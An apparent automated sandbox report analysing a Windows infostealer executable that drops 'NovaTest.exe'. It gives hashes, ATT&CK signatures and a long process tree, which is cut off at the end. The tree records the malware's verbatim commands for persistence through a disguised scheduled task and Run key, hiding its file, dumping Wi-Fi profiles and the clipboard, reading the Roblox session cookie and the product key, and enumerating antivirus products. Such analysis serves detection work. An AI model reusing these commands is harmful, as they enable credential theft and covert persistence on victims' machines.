e66d7a22d95abdf72b17c3612978e29bae0a56ff4884bb15e020e68077a0b64d

Analysis

max time kernel
11s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12/01/2024, 03:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe
Size

71.3MB
MD5

faf5656e3b7521608001a0f0f9489420
SHA1

6c60b1365df48822e7d041a37dd0cd4f842f4666
SHA256

077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504
SHA512

c625345bc2ad402dbcb6807f9706e6c228a2c370c0347bc02781cdcf654f299f53f1e61986af45b037b3cdb0d1713ac8b136858619cbb2dca2cb3c0f87f40a11
SSDEEP

1572864:j4/4rzOchPJlnVL9jf9Tshlax5rJtz6hWidkFTYsWF4BDIOHVWl1ZfPSnP7T672K:ckqcdPVncsxHohViYfOUJfPS6iS7

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 2 IoCs

pid	Process
848	077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe
848	077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	ipinfo.io
46	ipinfo.io
65	ipinfo.io
66	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
12128	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
11808	WMIC.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
8300	tasklist.exe
8076	tasklist.exe
9088	tasklist.exe
8620	tasklist.exe
8504	tasklist.exe
8376	tasklist.exe
8116	tasklist.exe
8108	tasklist.exe
9200	tasklist.exe
8540	tasklist.exe
8324	tasklist.exe
8308	tasklist.exe
8424	tasklist.exe
9184	tasklist.exe
8956	tasklist.exe
8900	tasklist.exe
8652	tasklist.exe
8588	tasklist.exe
8456	tasklist.exe
8416	tasklist.exe
8176	tasklist.exe
8908	tasklist.exe
8844	tasklist.exe
8752	tasklist.exe
8684	tasklist.exe
8100	tasklist.exe
8184	tasklist.exe
8060	tasklist.exe
6520	tasklist.exe
8352	tasklist.exe
9332	tasklist.exe
8208	tasklist.exe
8740	tasklist.exe
8580	tasklist.exe
8264	tasklist.exe
8216	tasklist.exe
9128	tasklist.exe
8700	tasklist.exe
8336	tasklist.exe
8132	tasklist.exe
8200	tasklist.exe
9408	tasklist.exe
8404	tasklist.exe
8392	tasklist.exe
8248	tasklist.exe
8464	tasklist.exe
8440	tasklist.exe
6588	tasklist.exe
8360	tasklist.exe
9256	tasklist.exe
8948	tasklist.exe
8892	tasklist.exe
8496	tasklist.exe
8604	tasklist.exe
8292	tasklist.exe
6836	tasklist.exe
10820	tasklist.exe
8532	tasklist.exe
9208	tasklist.exe
9080	tasklist.exe
8660	tasklist.exe
8448	tasklist.exe
8316	tasklist.exe
6844	tasklist.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSecurityPrivilege	848	077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
9404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe
"C:\Users\Admin\AppData\Local\Temp\077f33dfd672e500ae63b6ee7f3da690f49e2b686480a95004833981ec795504.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:848
- C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe
  C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe
  2⤵
  PID:1184
- - C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe
    "C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --mojo-platform-channel-handle=1964 --field-trial-handle=1732,17690921216423418471,13503336872217937662,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    PID:5096
- - C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe
    "C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 --field-trial-handle=1732,17690921216423418471,13503336872217937662,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:1840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=1184 get ExecutablePath"
    3⤵
    PID:2612
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=1184 get ExecutablePath
      4⤵
      PID:4072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4460
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3532
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
    3⤵
    PID:11656
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:11704
    - - C:\Windows\system32\reg.exe
        
        C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
        5⤵
        
        PID:8668
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get name
      4⤵
      PID:11696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
    3⤵
    PID:6988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
    3⤵
    PID:6972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\resources\app.asar.unpacked\bind\main.exe"
    3⤵
    PID:6956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:6668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
    3⤵
    PID:11768
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:11816
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:11808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:11860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:11900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
    3⤵
    PID:12112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
      4⤵
      PID:12152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:10932
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:10820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=1184 get ExecutablePath"
    3⤵
    PID:11440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupYyCOSx /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe\" /F /rl highest"
    3⤵
    PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupYyCOSx /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe /f"
    3⤵
    PID:12184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe\"""
    3⤵
    PID:10896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& { $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\NovaTest.exe' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask }"
    3⤵
    PID:4632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:9624
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
    3⤵
    PID:11664
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
      4⤵
      PID:5396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
    3⤵
    PID:11836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}""
    3⤵
    PID:7276
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}"
      4⤵
      PID:6840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
    3⤵
    PID:11776
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
      4⤵
      PID:7368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}""
    3⤵
    PID:10900
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}"
      4⤵
      PID:6216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
    3⤵
    PID:9588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& {netsh wlan show profile}"
    3⤵
    PID:7224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& {powershell Get-Clipboard}"
    3⤵
    PID:12044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& { function Get-AntiVirusProduct { [CmdletBinding()] param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias('name')] $computername=$env:computername ) $AntiVirusProducts = Get-WmiObject -Namespace \"root\SecurityCenter2\" -Class AntiVirusProduct -ComputerName $computername $ret = @() foreach ($AntiVirusProduct in $AntiVirusProducts) { switch ($AntiVirusProduct.productState) { \"262144\" { $defstatus = \"Up to date\"; $rtstatus = \"Disabled\" } \"262160\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"266240\" { $defstatus = \"Up to date\"; $rtstatus = \"Enabled\" } \"266256\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } \"393216\" { $defstatus = \"Up to date\"; $rtstatus = \"Disabled\" } \"393232\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"393488\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"397312\" { $defstatus = \"Up to date\"; $rtstatus = \"Enabled\" } \"397328\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } \"397584\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } default { $defstatus = \"Unknown\"; $rtstatus = \"Unknown\" } } $ht = @{} $ht.Computername = $computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Créez un nouvel objet pour chaque ordinateur $ret += New-Object -TypeName PSObject -Property $ht } Return $ret } Get-AntiVirusProduct }"
    3⤵
    PID:5744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript C:\Users\Admin\AppData\Roaming\EhvcFEntDxbs.vbs"
    3⤵
    PID:8216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\CumktvNa9EGL_temp.ps1""
    3⤵
    PID:6812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:7028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}""
    3⤵
    PID:10304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
    3⤵
    PID:5256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
    3⤵
    PID:5200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:6600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}""
    3⤵
    PID:9384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}""
    3⤵
    PID:9896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:11880
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8360
- - C:\Windows\system32\cmd.exe
